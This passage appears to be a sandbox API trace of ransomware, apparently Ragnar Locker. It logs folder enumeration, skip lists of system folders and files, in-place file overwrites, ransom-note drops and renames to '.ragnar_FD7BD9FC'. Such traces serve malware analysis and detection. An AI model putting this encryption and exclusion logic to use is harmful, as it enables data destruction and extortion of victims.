lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.102] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.102] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.104] GetProcessHeap () returned 0x580000 [0077.104] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.104] CloseHandle (hObject=0x100) returned 1 [0077.104] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" [0077.104] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0077.104] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.105] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0077.105] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.105] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0077.105] lstrcmpiW (lpString1="STUDIO", lpString2=".") returned 1 [0077.105] lstrcmpiW (lpString1="STUDIO", lpString2="..") returned 1 [0077.105] lstrcmpiW (lpString1="STUDIO", lpString2="Windows") returned -1 [0077.105] lstrcmpiW (lpString1="STUDIO", lpString2="Windows.old") returned -1 [0077.105] lstrcmpiW (lpString1="STUDIO", lpString2="Tor browser") returned -1 [0077.105] lstrcmpiW (lpString1="STUDIO", lpString2="Internet Explorer") returned 1 [0077.105] lstrcmpiW (lpString1="STUDIO", lpString2="Google") returned 1 [0077.105] lstrcmpiW (lpString1="STUDIO", lpString2="Opera") returned 1 [0077.105] lstrcmpiW (lpString1="STUDIO", lpString2="Opera Software") returned 1 [0077.105] lstrcmpiW (lpString1="STUDIO", lpString2="Mozilla") returned 1 [0077.105] lstrcmpiW (lpString1="STUDIO", lpString2="Mozilla Firefox") returned 1 [0077.105] lstrcmpiW (lpString1="STUDIO", lpString2="$Recycle.Bin") returned 1 [0077.105] lstrcmpiW (lpString1="STUDIO", lpString2="ProgramData") returned 1 [0077.105] lstrcmpiW (lpString1="STUDIO", lpString2="All Users") returned 1 [0077.105] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0077.105] lstrcpyW (in: lpString1=0x1eb638, lpString2="STUDIO" | out: lpString1="STUDIO") returned="STUDIO" [0077.106] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\" [0077.106] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\" [0077.106] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\RGNR_FD7BD9FC.txt" [0077.106] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0077.107] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*" [0077.107] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0077.107] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.107] lstrcpyW (in: lpString1=0x1ea75a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80344ae0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80344ae0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.108] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0077.108] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80344ae0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80344ae0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.108] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0077.108] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0077.108] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0077.108] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0077.108] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0077.108] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80344ae0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80344ae0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.108] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0077.108] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0077.108] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0077.108] lstrcmpiW (lpString1="STUDIO.ELM", lpString2=".") returned 1 [0077.108] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="..") returned 1 [0077.108] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0077.108] lstrcmpiW (lpString1="STUDIO.INF", lpString2=".") returned 1 [0077.108] lstrcmpiW (lpString1="STUDIO.INF", lpString2="..") returned 1 [0077.108] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0077.108] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0077.108] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0077.108] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0077.108] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80344ae0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80344ae0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.108] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80344ae0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80344ae0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.108] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0077.108] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0077.109] lstrcpyW (in: lpString1=0x1eab6e, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0077.109] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned=".GIF" [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0077.109] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0077.109] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0077.109] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0077.109] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0077.109] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0077.109] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0077.109] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0077.109] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0077.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0077.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0077.111] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1675) returned 1 [0077.111] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x682, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.111] GetProcessHeap () returned 0x580000 [0077.111] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.111] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.113] VirtualAlloc (lpAddress=0x0, dwSize=0x68b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.113] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.113] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.113] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x68b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x68b, lpOverlapped=0x0) returned 1 [0077.113] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.113] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x68b, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.113] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x68b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x68b, lpOverlapped=0x0) returned 1 [0077.114] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x68b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.114] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.114] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x68b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.114] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.114] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.114] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.114] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.114] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.114] GetProcessHeap () returned 0x580000 [0077.114] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.114] CloseHandle (hObject=0x10c) returned 1 [0077.114] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" [0077.114] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.ragnar_FD7BD9FC" [0077.114] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.117] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80344ae0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80344ae0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.117] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0077.117] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0077.117] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\RGNR_FD7BD9FC.txt") returned=".txt" [0077.117] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0077.117] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0077.117] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0077.117] lstrcpyW (in: lpString1=0x1eab6e, lpString2="STUDIO.ELM" | out: lpString1="STUDIO.ELM") returned="STUDIO.ELM" [0077.117] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM") returned=".ELM" [0077.117] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.117] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="autorun.inf") returned 1 [0077.117] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="boot.ini") returned 1 [0077.117] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="bootfont.bin") returned 1 [0077.117] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="bootsect.bak") returned 1 [0077.117] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="bootmgr") returned 1 [0077.117] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="bootmgr.efi") returned 1 [0077.117] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="bootmgfw.efi") returned 1 [0077.117] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="desktop.ini") returned 1 [0077.117] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="iconcache.db") returned 1 [0077.117] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="ntldr") returned 1 [0077.118] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="ntuser.dat") returned 1 [0077.118] 